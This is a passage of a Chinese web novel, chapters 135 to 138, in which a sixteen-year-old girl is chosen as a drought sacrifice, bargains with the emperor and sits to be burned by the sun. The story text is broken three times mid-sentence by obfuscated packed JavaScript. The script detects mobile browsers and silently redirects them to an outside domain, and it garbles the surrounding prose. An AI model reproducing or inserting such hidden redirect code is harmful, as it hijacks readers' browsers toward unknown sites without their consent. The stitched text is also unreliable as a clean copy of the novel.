而杨夫人惊呼一声,如一下被人抽走了脊骨,已是彻底瘫软进了圈椅里面。 136. 第135章 野弟弟 “小姐,夫人说了,这药得趁热,快些喝了吧。” 一碗浓黑粘稠、一看就苦哈哈的汤药,被秋莺郑重端了过来。 璃音凑口过去,刚沾着唇,就轻“啊”一声躲开了:“烫!” 可秋莺不为所动,一脸“这可不是你撒娇能解决的事”的凝肃神情,举碗就又要往璃音嘴里灌。 “是真的烫!”璃音无奈又好笑,刚那一下,嘴都差点烫秃噜皮了,这可不是假的,她从秋莺手中把碗接过,端正搁在案上,“秋莺,我又不是三岁小孩了,你把药留在这,等它稍凉一凉,我自己会喝。” 秋莺紧抿着唇,看小姐笑吟吟的、似乎没一点心事的样子,心里有种说不出的惴然。 她已听说了,宫中已正式开始挑选人祭,听闻此次星象难解,大人们聚在观星台,观测了近半个月,都未能测算出一个具体相合的八字。 不过就在老爷回府那日,他们终于模糊着、界定出了一个范围:这次天上想要的,该是个十月出生的女子。 小姐在十月初九日出生,再加上过往的惯例,要寻找十六岁以内、品貌皆宜的少女,两厢条件一结合,简直是高危中的高危! 好在八字未定,又有老爷和夫人四下打点,夫人的父亲执掌太医署,连夜送来了能假作孕脉的药。小姐只需乖乖服下几天,待核查的官吏上门,确认过脉象,将假孕坐实了,便可在筛选在册适龄少女的第一步,就将小姐的名字给划了去。 所以,桌案上这一碗黑糊糊的药,搞不好就是能救命的,半点马虎不得。 看秋莺拧眉不语,璃音心下稍动,只仍是笑:“事关我自己的小命,我拎得清,你有什么可不放心的。” 说着,把一旁站着的夫君拉了过来:“再说,不是还有夫君监看我呢么?” 也是,小姐虽有时行事诡僻,但在大事上向来是拎得清的,更何况是她自己的生死之事,想也不会乱来。 秋莺看了姑爷一眼,看到他慢慢向自己点了下头,心下稍安,又嘱咐了句“一会就喝,也别放得太凉了”,才拖着步子离开了。 待秋莺出了屋,璃音缓缓端起桌上瓷□□致的小碗,轻晃了晃碗中稠液:“夫君,你说这一夜之间,皇城里会冒出多少个像我这样,突然就有了身孕的小娘子?” “听说太常寺卿家的小女儿,尚未婚嫁,竟也对外说已有了三个月的身孕。”她眉梢微挑,似是颇觉有趣,“这事不管是真是假,若放在以前,必定都当做家丑遮着,半个字不许往外说。如今倒成了护身牌,恨不得拿个大喇叭,宣扬得满城尽知了。” 官家女子,婚前私通,还怀了个父不详的私孩子,全家不以为耻,反松口气,并自发在街头巷尾大肆传扬,若不是在这旱情肆虐的特殊时日里,真是想都不敢想的荒诞事。 在这凡世间,女子的贞洁,素来是被男人们宣扬得比性命还宝贵的。 但看来遇上真爱女儿的,在贞洁和活命之间,也很是知道该如何抉择嘛。 摇光闻言也轻笑了笑:“这次毕竟不同。” 璃音晃着瓷碗的动作一顿。 是啊,这次毕竟不同。 一般人祭,虽说死是逃不掉的了,但作为被选去献给神明的使臣,锦衣华饰,无上尊荣,都是给够的,死状更是整洁端肃,不会让人经历太多痛苦。 但这一次人祭,是为攘除旱灾而设。 旱灾,相比于其余的任何天灾,都是格外不同的。 自尧时,有十日并出、炙杀女丑、暴尸于山,从而果真求得甘霖之事后①,历朝历代,天旱求雨,便都沿行此“暴巫”之法。 所谓“暴巫”,也就是要挑选一个少女,训而为巫,在祈雨时,使其静坐于山顶之上、烈阳之下,活活炙烤而死。 运气好些,最后还能剩下一具被晒得皮肉枯瘪的干尸,倘若运气不好,半途衣物被烤起了火星,最后人被活活烧死的先例,也不是没有。 如此又惨又丑又煎熬的死法,哪个妙龄少女能接受? 又有哪个父母能眼睁睁看着女儿受此酷刑? 和这比起来,未婚先孕,背后被人戳着脊梁骨喊两声“失贞淫/妇”这类事,简直就像背后挠了个痒,还能算得上可怕吗? 正因为死状太过折磨,不就连和自己“冷战”了近十年的阿爹,也四处为她奔走起来了吗?听说还正努力联系着“道上的朋友”,一旦假孕事发,就准备把她送去边远深山里躲起来。 璃音看着碗中汤药,笑了笑:“是很不同,这还是十年来,第一次见阿爹对我如此上心。” 说着,不知想到了什么,忽地眼睛一眨,侧眸向夫君望了过去:“这药若是给你喝了,也能诊出孕脉吗?” 少女侧转而来的脸上充满好奇,眼中还满闪着不知该说是奇异、还是不怀好意的光采。 摇光面具下的长眉微挑了挑。 看了她一会,忽轻笑一声,缓撩起袍袖一点,将一截冷白的腕不紧不慢地向她递了过去,示意她来按。 璃音抿着笑,立刻放下药碗,从善如流地将指腹压上男人腕间,察看起他的脉象来。 这一摸,果然摸出了个喜脉。 简单的障眼法而已,夫君哄她玩呢,璃音当然知道,但还是笑得不行:“夫君,你有身孕啦!” 笑着笑着,支起下巴,又看着他问:“你们修仙之人,身体应该和常人不同了吧,那你真能怀孕吗?” 十六岁的人间少女,素来对世间万物都有着各种稀奇古怪的好奇心。 璃音是真的好奇。 但此问一出,夫君原本含笑的眼眸却倏然一滞,这是……她说中什么不该说的了? ……不是吧,难道真能? 思绪正胡乱发散间,男人微抬起眸,看着她,说了一句:“府里有人来了。” 璃音怔了下,旋即反应过来,是夫君感应到府中进了客人:“是核脉的人?” 可又觉得不应该啊:“阿爹不是说,核查的官吏,最快也要三天后才查到这里的吗?” 摇光神识外放,一面感应着,一面摇了摇头:“有三个人来,一家三口,看起来不像是宫里派来的人。” 说到这,似乎感应到了什么,看向璃音的眸色渐转复杂:“三人中有个少年,你爹称呼他为,贤侄。” 璃音缓敛了面上笑意。 贤侄,一家三口…… 她已大致猜出来人的身份,和他们此时来此的意图了。 果然,夫君下一句便是:“他们来找你爹商量过继的事。” 她的阿爹,想保她的命是真的,但万一保不住了,给自己另找个“儿子”的迫不及待,也是真的。 只没想到他当真就迫切到如此程度,八字还没一撇呢,等着被过继的“儿子”就先喊上门了。 白瓷小碗中的汤药已温热得刚好,璃音重新将碗端在手中,眼底掠过一丝略带嘲意的笑:“夫君,你知道林中相遇那日,我为什么那么着急,一定要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058334|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你带回家吗?” 慕郎心思不纯,并非良配,他和平儿的事,自己若告与阿爹知晓,这桩婚事也必定是黄了的。 外头适龄的男子大把,她又各项条件都不差,慢慢物色,总能再寻出个好儿郎,但璃音却不能再等了。 因为从去年开始,阿爹脑中,除了招赘抱孙,还一直同时起着另一个念头:从夏侯家一些清贫些的旁系中,挑选一个瞧着可心的子侄,过继到他的名下。 璃音对这种行为完全不能理解,若是为照顾提拔贫寒的亲眷,那她无话可说,可阿爹的心思,所有人都心知肚明。 同父异母的亲弟弟她尚且不想接受,这半路杀出来、不知从哪里冒出来的“野弟弟”,竟也比她更有资格得到父亲的赏识、继承府中的一切吗? 凭什么? 璃音一手端着药碗,视线落在那浓黑的药汁里,被映得晦沉一片:“阿爹同我说得清楚,反正今年一定要有一个新人进门,这人若不是我的夫君,就要是那位贤侄,来当我的野弟弟,所以我才……” 心里一口气怄得非同小可,所以原本可以慢慢来的婚事,她才如此囫囵着速战速决了。 摇光静静听着,没有说话。 “只没想到根本没什么用,该来的野弟弟终归还是要来。” 少女抬起脸来,一声轻哂过后,端着碗缓缓站起身来,慢步走去半掩着的窗边,腕骨一倾,将一整碗不烫不凉刚刚好的药汁,都倾在了窗台边栽着清新绿植的花盆之中。 * 砰—— “胡闹!” 厅房中,杯盏碎裂的脆响,随着中年男人的怒喝声一齐传了出来。 父女十六年,虽说“冷战”了也有十年,但“冷战”之所以是冷战,就是因为哪怕在彼此最看不顺眼的时候,最多也就是哼一声、板个冷脸。如此疾言厉色、怒到摔起了杯碟茶盏的父亲,璃音还是头一次见。 “什么叫你不想骗人!如今上了册子,回头若真被选去了,就是要送去坐在日头底下活活烤死!那是好玩的吗?!” 夏侯铮高声厉喝着,看女儿纤瘦的身影在堂下跪得笔直,茶杯砸到了身侧,有几点碎瓷片溅上她的衣裙,她也不躲,不吭声,只觉气血都快供不上来,眼前一阵阵地发黑。 反倒是一开始听说宫中要选人祭后,忧心到站也站不稳的杨夫人,此刻坐在圈椅中,看着静跪在地的女儿,格外地沉静。 摔完杯子,夏侯铮又开始在厅内乱踱,呼吸紊乱,给璃音继续做着安排:“今晚你别睡了,叫秋莺给你收拾几件衣服,我待会就知会彪老三过来,带你去凌州大山里躲一躲,连夜就走……” 璃音垂眸听着阿爹急促微颤的嗓音,很奇异地,心里竟没能被激起一丝波澜。 就在这时,灵台之中,夫君冷而不疏的声线,骤然响起:“来了。” 来了啊。 璃音长睫轻颤了下,垂落。 同时,有家仆飞跑进来,站定后,抹了把额头上的满头虚汗,战战兢兢禀道:“老爷,宫中……宫中有人来了。” 夏侯铮仿若自语的藏女儿计划被打断,乱踱的脚步滞住,他呆望着这个突然闯进来的家仆,忽地膝骨一软,跌坐进了椅中。 口中还在喃喃着:“不对……没这么快……没这么快……” 杨夫人自始至终,只是沉默地望着女儿,没说一句话。 璃音却笑着将脸仰了起来:“阿爹,我被选上了,你要升官啦。” 137. 第136章 所求三事 璃音是被一乘华舆,恭恭敬敬“请”去宫中,面见圣上的。 紫宸殿中,璃音手掌交叠缓举,覆贴额上,俯身,向着天子,郑重跪拜而下。 殿内,天子、司天台、以及太常寺诸臣皆在。 夏侯铮亦在。 少女拜而不起,额头紧紧抵覆于手背之上,叫人看不见她的神情。 只有一道山溪般清灵的声线,徐徐朗朗、端沉肃穆地传了出来:“臣女有三事相求,若陛下应允,则臣女愿往。” 诸臣闻言,皆是一愣。 人祭入宫,说好听点是“请”,说难听点,那就和被选入屠宰场的牛羊猪狗没什么区别,管你愿不愿意,这祭坛你都是上定了。 给她尊荣,是圣上仁德,感念她为牺牲,也是为她作为“使臣”,上天时别灰头土脸的,在众仙家面前丢了人皇的体面。 不想这小姑娘倒会顺杆爬,还在圣上面前提起要求、拿起乔来了。 所求一事不够,还三事?! 夏侯铮被女儿这一跪一求弄得始料不及,更是脑子一嗡,忙上前道:“陛下,小女无状……” “哪三件事,圣女不妨说来听听。”御座上的人倒是没恼,这任天子确实仁德,他闻言一笑,看着殿中跪得端方的小姑娘,打断了夏侯铮的话。 天下大旱,川井干涸,九月仍如酷夏,据州郡来报,灾情最严重的几个地方,已有大批的百姓只是躺在家中,就一个个脱水中暑而死。 如今,所有的希望都压在了最后这一场人祭上。 司天台精推细算一月,才锁定的这一个“祭品”,可谓是当今举国上下最珍贵的一副肉躯。 所以,“祭品”有些不痛不痒的小要求,允了就是。 不意外会被允准,璃音缓抬起头,肃然端跪,铺开的裙裾亦绽得端严,她迎上天子温和打量的目光,不疾不徐地朗声:“第一件,臣女斗胆,伏请陛下垂赐哀荣,承诺为臣女身后追封阴爵,敕庙立祠,享万姓香火供奉。” 说完,盈盈叩头一拜。 满殿议论声顿起。 璃音所求的这一件事,其实算不得出格。历朝历代所行人祭,过后都会为“圣女”追封一些东西,选陵厚葬,立祠建庙,以示尊荣与感念。 但还是那句话,这些东西,都是圣上仁德,追赐给你的。从古至今,都没听说过哪个“圣女”,竟会腆着脸来为自己求的! 这小姑娘看着知书达理的,求出的事,也真是奇了。 司天台监是个耿直古板的老头,当下便不悦皱眉,第一个出列上前,向天子道:“封爵立祠,皆为圣恩,岂有自求。怀揣如此功利之心,如何配出使天宫,担得‘圣女’二字。陛下,依臣看,需赶紧将此女送往太常寺训导,修剪心性才是。” 换言之,就是在告诫璃音:小姑娘,你说的这些,我们可以给你,但你不能向我们要,懂了吗? 璃音懂了,但她只仍是端跪,一双眼睛沉默注视着御座中的天子,并不理会那老头的话。 司天台监所言,便是殿内众臣所想,只是对于小姑娘提出的这个要求,他们倒也都稍可理解:别的圣女都是体体面面被送上的天宫,唯独去祭旱灾的,受烈阳炙烤而魂升之后,躯壳仍需留在山顶,往后风吹日晒、鹰啄蚁食,直至消腐,亦不得搬动。 依例,他们把“祭品”叫作“圣女”,把“宰杀”叫作“出使”,把“断气”叫作“魂升”…… 但说白了,就是要眼前这活生生的少女死无葬身、曝尸荒野…… 当然,圣上仁德,会为圣女收殓衣冠厚葬,但小姑娘心有不安,想提前为自己求个保障,虽不甚体面、不够心无杂物,但似乎……也无不可吧。 毕竟要取的,是人家的命不是吗? 天子沉吟片刻,见司天台监还欲谏言,一抬手,将他的话压下:“此事可准。” 老头惊怔间,璃音已抿唇一笑,谢过陛下后,朗声续道:“第二件事,臣女斗胆,求陛下金口玉言,敕令夏侯氏永不得过继子嗣,待臣女双亲百年后,家财需半数追葬入臣女墓中。” 此言一出,满殿惊寂。 女不许父过继,开口就要半数家财陪葬,此等忤逆纲常、狂悖贪欲之言,回荡在这端肃威严的紫宸殿中,简直是大逆不道,闻所未闻! 一时之间,殿内所有的视线,都缓慢而无声地……聚集到了夏侯铮的身上。 除了璃音。 她仍只是静跪着,一双黑静的眼眸,除了天子,谁也不看。 众官俱愣,夏侯铮也愣。 他怔望着跪得笔直的女儿,她是他这一生中,真正拥有过的唯一一个孩子。 可自她进入殿中,便没向自己投来过一眼。 没有依赖,没有求助,仿佛他站在此处唯一的身份,便只是太常寺下的一名官员,和殿内那些所有身着朝服的大臣们一样,而不是她的父亲,她的阿爹。 他张了张嘴,心绪翻涌间,面色亦几经变换,但最终,他只是看着女儿倔强跪着的侧影,抑下了所有的言语,一无所动。 他能说什么? 驳她? 她已被选为圣女,驳她的要求,便是为守一家之利而损万民! 驳不得,附不得,夏侯铮竟有仰天大笑一声的冲动。 十年父女相争,到这一刻,竟是他输了,输得彻彻底底! 而这一要求,再有逆伦常、贪心不足,在社稷苍生面前,于圣上而言,仍不过不关痛痒的一桩家事而已。 他扫过缄默垂首的夏侯铮,淡声一笑:“此事可准。” 璃音叩首再谢,直起背脊,清声说出了她的最后一个请求:“第三件事,臣女斗胆,请陛下信任,允臣女于薪台之上时,可使手脚不缚。” 此言一出,又一次满室骇然。 无有绑缚,不许挣扎,若非石人石身,那种死法,仅凭人志,如何苦熬得住?! 司天台监当即驳谏:“陛下,暴巫一切仪式,皆有祖制旧例,今既行暴巫古法,便需依循旧日阴阳绳墨。更何况炽日灼身,纵其手足,圣女若中途熬受不住,逃下祭坛,那时却要如何说法?岂非是对神明大大的不敬!” 璃音觉得这老头真是聒噪,满嘴古制,不是“这个不行”,就是“那个不许”,说了一堆,没一句真正可行的建议。 璃音好心,替他建议了:“陛下若有顾虑,自可请人监看。” 其实这也不必她说,“祭品”上了祭坛,哪里还有跑得掉的,直到确认圣女魂升,本就会有人轮流隐于山林中监看。 偏那老头要一惊一乍的。 而天子眼神温淡,将眼前“祭品”的每一处轮廓举止,都细细描摹着,半晌,缓声启唇,威仪万方:“此事亦可准。” 所求三事,三事皆允,璃音面上无喜无乐、无情无绪,只再一次俯身长拜,叩谢了天恩。 天子自御座中起身,点了太常卿,谕令即日起,圣女便送由太常寺调教,务必严规举止,在斋浴之日到来之前,习学完巫祝礼法,将其培养成合格的巫女。 璃音直到此时,才略转过头,抬眼,对上了父亲面色苍白、神思凝滞的一张脸。 四目相接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065603|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此刻,却唯有无言。 璃音静望着阿爹,两息后,微微侧转过双膝,双掌交叠,覆额高举,然后,珍而重之地,深深拜了下去。 从小到大,她一个独生的孩子,却一直在和一个不知何时就会多出来的弟弟争,争父亲的关注,争父亲的疼爱,争在父亲心中的地位。 可这么多年来,她却一次都没有赢过。 而她也终于明白了,向内争,她是永远也争不赢的!她要向外争,争一个青史留名,争一个轰轰烈烈,她要做整个夏侯氏在史书上最浓墨重彩的那一个名字! 百年后,夏侯铮这个名字渐渐湮没在历史长河之中,而她夏侯璃音的名字,仍会在祠庙史书之中,长久不衰地存在下去! 日影透窗,斑斑驳驳地洒落进来,洒落在少女向父亲端身俯跪的身影之上。 凡尘十六载,男人的记忆却仿佛还停留在小女孩幼时,被他抱在手中、吵着要麦芽糖吃时的那个样子,而在这光影游弋的一刹那间,夏侯铮才恍觉:他的小阿横,原来就在他们一日日的冷漠相对间,早已不知不觉地……长大了。 * 司天台再一次择定了吉日,将祭天大典定在了十月初一日举行。 璃音被留在宫中,每日随太常卿习学巫典。 虽是如公主一般,拨了奢华的殿宇,好衣好食地供着,但谁都知道,她是被软禁起来了。 殿内无窗,她不被允许踏出殿门一步,门外还有一队羽林十二个时辰盯着,以防她逃跑。 不过圣上还是顾念人伦,在大典的七日斋戒之前,每隔三日,她被允许探视一次。 阿娘每次都来,阿爹只来过一次,夫君有时也会来,今日他便随着阿娘来了。 而夫君每次来,都会给她带他做的绿豆糕,夫君的手艺越做越好了,璃音一迎上,就去抢他手里的食盒:“正想着这口呢!” 大概是人之将死,吃一顿少一顿,璃音只觉入口的东西都比以往美味些,拈起一块,就是一大口,跟饿了八辈子似的,一点大家闺秀的淑女样都没有。 杨夫人平日里最爱管教女儿的吃相坐相各种相,这时看璃音大口嚼咽,却忽地眼眶一热,忙别过脸,勉撑着笑向女婿道:“阿横爱吃,别每次都只一小盒的,下次多做些。” 摇光点头应下,顺便伸手替璃音一抹,抹掉了她吃到脸上的一点酥渣。 璃音又咬了两口,问道:“秋莺呢,还是不让来吗?” 杨夫人摇头:“她今日也跟着来了,但就是进不得,不让进。” 璃音放下手中糕点,顿了顿,忽道:“阿娘,等十月过去,就销了秋莺的奴契,给点银子,送她出府,去过点好日子吧。” 说着,忽又笑起来:“但我猜她肯定死活不愿意,若她不愿,就让她以后跟在阿娘院中好了。” “往后就让秋莺当您的女儿,替我陪着阿娘,你说好不好?”她慢慢蹭进阿娘怀里,整张脸都埋进了阿娘颈窝,隔了好一会,才又有声音闷闷地传了出来,“但阿娘也要答应我,有了秋莺,你就不许再有别的女儿了,只有秋莺,我才不吃醋的……” 杨夫人将女儿紧紧抱在怀里,强撑着不掉的眼泪一点点滚落下来,声音却仍是笑着,手拍着璃音的背轻哄:“好,不要别的女儿。” 璃音慢慢抬起脸,视线越过阿娘的肩,落去了没怎么开口的夫君身上。 她只需向他投去一眼,他好听的嗓音便自灵台轻轻传了进来:“知道了。” 璃音便弯眼笑了。 她那一眼对他说的是:今晚,想办法过来陪我。 138. 第137章 到不了的生辰 殿内无窗,天色暗下之后,便只靠几支烛火撑着一点微弱的光亮。 夜来无事,璃音没有躺下入睡,而是盘膝端坐在榻上,温习着夫君教给她的入定、以及吐纳运气之法。 而就在她榻旁,还另摆着一张小榻。 一个宫人嬷嬷面朝她侧躺在上面,双目虚虚阖着,手里抓了把大蒲扇,有一搭没一搭地摇,每隔一会,便把眼睛睁开条缝,向璃音眯觑一眼,见人还在,便又耷上眼皮,打起小盹,静等进行下一次的突击抽查。 天子怕圣女半路逃了,派人来监看,璃音可以理解,但这监看得,睡觉都不放过,未免也太夸张了!叫人从早到晚,是一点隐私也没有。 璃音不自在地轻叹口气,忽觉身旁被褥轻轻往下陷了陷,登时双眸一亮,转过脸,就朝着来人欢喜地笑开了。 夫君。 怕惊动嬷嬷,被瞧出异样,她不便出声,亦不敢有大的动作,所以只能用这笑和眼神,代替了语言唤他。 意思是:他过来,她很开心。 夫君不是第一次来陪她过夜了,早已熟门熟路,对除她以外的人都隐了身形,安静在床沿坐着,只叫她一人能看见。 知她不能说话,摇光便像之前的每一次那样,静望着她晶亮的眼神,猜她眼睛里的话。 好在第一句总是不难猜的,他笑了笑,传音问她:“打坐,练得如何了?” 璃音先暗瞥了眼旁边的嬷嬷,见她仍闭着眼,才扬起下巴,抬手无声地拍了拍胸脯,意思是她很厉害,进展大着呢。 她为了最后那一点点尊严,是在天子面前放下了大话,要求祭仪上不设绑缚,可她其实也是怕痛的,很怕很怕…… 但比起这种怕,终究还是心底那一点倔强占了上风。 她是个万事都要准备对策的人,所以,为了十月初一日不给自己丢脸,也为了能少受点痛,她这一个月来,每晚都会练习入定,强健心性和耐性。 只没想到胸脯拍到一半,嬷嬷那半耷着的眼皮突然弹了起来,见榻上的璃音似有动作,微欠了身,竟有要起身看个究竟的架势。 璃音一个激灵,忙顺势把手伸出,去床头小案的碟子里摸了块绿豆糕过来,咬一口,一面嚼,一面冲嬷嬷赧颜一笑:“……饿了,垫垫肚子。” 嬷嬷撑着身子,盯着璃音看了好一会,按规矩,半夜里是不该进食的,但想到这位“圣女”的归宿,又眼见着小姑娘平日里乖巧,嬷嬷心下一叹,也就睁一只眼闭一只眼,摇起扇子,重新耷上眼皮躺下,随她去了。 绿豆的清香,无论何时咬进嘴里,都是叫人舒服的,但手里是最后一小块夫君做的绿豆糕了,璃音看一眼空了的碟子,迟迟舍不得咬下第二口,只拈在手里,轻轻嗅着。 这么热的天气,糕点本也放不长久,两天就不能吃了,这样能抚慰她心燥的绿豆香,就没什么办法,能让它留得再久一些吗? 少女缓缓侧眸,略带遗憾和低落的眼神,就这样向身边的夫君飘了过去。 明显是不高兴了,摇光立马凝起心神,认真去读少女眼底的情绪。 每次过了那打招呼的第一句,少女接下去的每一个眼神,便都像一场考试,小娘子看着乖巧,其实脾气大着呢,这要是考不合格,可是要出大事的。 好在他比她想象的要更了解她,是以她的心思,他并不难读懂,他看少女轻嗅着绿豆糕的模样:“喜欢这个香味,想能时时闻见?” 夫君真厉害,她在想什么都知道,璃音抿出一点笑,冲他一点头。 猜对了,摇光也笑,想了想,传音给她:“不难,明日我给你带一些过来。” 香味也是可以带一些过来的? 但夫君神通广大,璃音毫不怀疑地雀跃起来,在这不剩几个明日、最不该期待明日的时刻里,她却笑着,已经在期待明晚的到来了。 看着夫君漂亮含笑的眼睛,她不自禁抬手,伸向了夫君脸上一直覆着的那一张冷银面具,指尖轻触,触到了一片寒凉。 夫君为什么总是戴着面具呢。 是不便示人,还是……真是因为貌丑? 可她实在想象不出,长了这样一双眼睛的人,能丑到哪里去。 她都要死了,若到死都没能看上一眼夫君的样貌,那下辈子他若食言不来找她,她岂不是连追杀都不知该照着哪一张脸去! 思及此,少女唇一抿,指腹便悄悄后移,轻抚上了面具和下颌处扣得严丝合缝的那一条边线。 男人察觉到了,原本含笑的眸光似乎顿了顿,数息后,还是轻轻偏过头,第一次,躲开了她的触碰。 小气鬼,把脸露给她看一眼都不肯! 少女唇线一下绷得死紧,但还是收回了手,没有硬上弓。 只是看向男人的眼神,难免不友善了起来。 大小姐的脾气还是上来了,不过才刚翻上一点,就听灵台里男人轻笑一声,手被他抓过,轻轻按上了他修长的颈…… 然后她的手就被他温热的掌心包裹、指引着,在他颈上缓缓摩动起来。 璃音脸一热,忙把手缩了回来。 这人真是,自己现在又没被下药,谁要摸他了! 璃音瞪他,他却只是笑着给她传音:“阿璃想看的,以后都会看到的。” 说罢起身,璃音知道他这是要走了。 虽然清楚他这是在多留时间让她练习入定,但这么快就走,璃音心里还是闷闷的。 偏这时候嬷嬷又把眼皮弹了起来,璃音只好正襟端坐,拉一拉小手也不行了,早知道夫君刚让她摸的时候,她就该使劲摸个够本! 看少女后悔又难舍的目光,摇光笑了笑,趁机伸出手去,在她柔软泛红的耳垂上□□流连了好一会,欣赏着她微瞪着自己、痒又不敢动的样子,笑着给她传了一句:“娘子实在想我的时候,可以抬头看看星星,我就知道你在看我了。” 璃音在嬷嬷打探的目光下强忍着不动,恨不能用眼神踹男人一脚:快走吧,自恋狂,谁想你了! 等男人真走了,她扫一眼黑黢黢、空荡荡的殿内,又撇嘴:这里连个窗户都没有,叫我去哪里看什么星星。 第二天夜里,夫君如约过来时,给她带来了一个鼓鼓囊囊的小香囊。 接过来,扑鼻都是绿豆幽淡的清香,打开抽绳一看,原来是满满一包晒过的绿豆。 璃音拈起一颗,左看右看,绿豆小巧可爱,被晒走了水分,看上去可以保存很久的样子。 她将绿豆香囊系在腰间,每日佩戴着,直戴到九月廿四,从这一日开始,她需潜心斋浴七日,不再被允许探视。 夫君开始每晚都来,也不再急着走了,只要她用眼神留他,他就会陪她坐上一整夜。 七日后,祭坛高筑,鼓铃大响,璃音被宫人们换上素白的祭服,清妆打点,坐上了驶往惘山之巅的华美车舆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079821|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 十月初一,秋分都该过了的天气,此时却在高空炽日的照射下,翻涌着滚滚的热浪。 地面上,树杈一般的皲裂随处可见。 有不少百姓顶着遮阳的斗笠,都跑出来看圣女的车撵,而当人们好奇地凑来,看到的却是一个姿容清丽、眉目沉静、年仅十六岁的小姑娘时,都不约而同噤了声。 如此年轻啊,那张端凝肃穆的脸上,甚至还带着少女在这个年纪特有的、尚未褪完的一点婴儿肥。 大家默默目送着,待车舆驶过,忽有一人滚了滚干渴的喉咙,拱起手来,向着车马离去的方向,深深下揖,无声地拜了一拜。 人群寂静,头顶酷热,脚步也俱是能不动就不动,唯有一个看着年岁不大的姑娘,一下从旁边窜了出去,她也不出声叫唤,只追着车撵,一步不停地跑动起来。 秋莺跑得满头满身都是汗,脸上不停有水珠蓄向下巴处滚落,仪队威严,她不敢冒然高声,扰了礼制,但她没有探视小姐的资格,更不被允许参加皇家祭祀,唯有这一路,唯有这一路上,她还可以再送小姐一程、再多看她一眼。 她就随着缓缓而驶的车队,不停跑着,跑着…… 直到某个心有灵犀的一刻,小姐忽然侧头,看见她,微怔之后,给了她一个极轻极浅的笑。 而后很快便挪开了视线,端视前方,再不旁视。 圣女不可乱了仪态,在这一天里,哭或笑都是不被允许的。 有泪淹没在如雨的汗珠里,像是最后一个执念忽地断了线,见到那一个笑后,秋莺脱力般停下步子,目视着车队彻底驶远,在视线里消失成蚂蚁般的一个小点之后,猛地跌坐在地上,放声大哭起来。 九天,本来再有九天,就是小姐十七岁的生辰了。 她自己不记得生日,小姐就说把自己的生日分给她。 所以小姐每年十月初九的生辰,她们都是一起玩闹、一起过的。 只是今年,还有以后的每一年,她都再不会来陪她了。 秋莺撑伏在高温热烫的地面上,掌心很快被烫成了通红一片,可她无知无觉,只是一直在想:没有了小姐,她自此,也就再没有生辰了。 * 山路早已铲过,一路无颠无簸地抵达惘山之巅,天子携诸臣皆身着祭服,早已肃列于祭坛之下。 一声声高昂的诵喏传来,璃音随司天台监指引,一步步登上高高的祭台,于满台薪柴之上,端坐而下。 巫觋们又在高声唱诵着什么,明明近在耳边,但却仿佛隔着千万重的渺远,璃音一句也听不真切。 酷烈的日光直往身上晒,像兜头罩下了一个无论如何都逃不脱的巨大蒸笼。 再喝不到秋莺藏给她的冰饮子了。 璃音这么想着,最后看了一眼百官列队中,正身着祭服、随天子叩拜的父亲,在他起身向她望来的前一瞬,她无情无绪地收回视线,在十月胜似酷刑的热浪中,慢慢闭上了眼睛。 按着晚上随夫君练习了无数遍的吐纳之法,她深深呼吸了几下。 昨晚,她用眼神警告夫君不准来看了,也不知他读懂了没有。她会死得很丑、很难看,别人来看她都无所谓,可就是不想给夫君看见。 他嫌她丑,约好的来世也不来找她了怎么办。 手中攥紧了偷带出来的小香囊,璃音呼吸渐转轻慢,终于,在热风扑面不停的闷燥中,缓缓入定…… 139. 第138章 祭成 人间德武二十一年,十月初一日,大吉。 惘山之巅,祭台高肃,日光似流火,毫不怜惜地将酷热向人间万物洒落。 高高的祭台之上,身着祭服的少女在一片唱念声中宁静端坐,她仿若一尊塑像,自始至终,除有几根发丝偶被滚热的山风拂起之外,全身一动不动,直至天子百官行完祭典,下山回朝,她也没把眼皮掀动一次。 人在入定时,会身无外扰,心神宁和,进入一种类似深度睡眠的状态。 所以第一日,尽管山顶上人来人往,唱呼不绝,璃音自阖眼之后,便没有从入定中醒来。 第二日。 喧腾散尽,空山寂寂,偶有几声鸟语,再不闻一点人声。 唯有一座祭台肃立,炽日高悬。 璃音的面颊、脖颈、手背……所有祭服遮掩不到的肌肤上,都渐渐开始浮起大片熟肉一般的红色斑块。 但她依然只是沉静坐着,双目紧闭,脊背挺得笔直,没有醒来。 第三日。 仍是寂静。 少女原本最是水润饱满的嘴唇,渐渐枯瘪了下去,翘起了无数干燥枯白的皮屑,待日头升至正午时,赫然一下,一个巨大的豁口,自唇瓣中央,绷裂了开来。 官家小姐精心养护出来的一头乌黑油亮的秀发,如今也已渐转枯黄,毛躁地随山风摆动。 发顶有烧心的灼烫感传来,璃音眉心微皱了皱,调整加深了吐纳时的呼吸,仍是没有醒来。 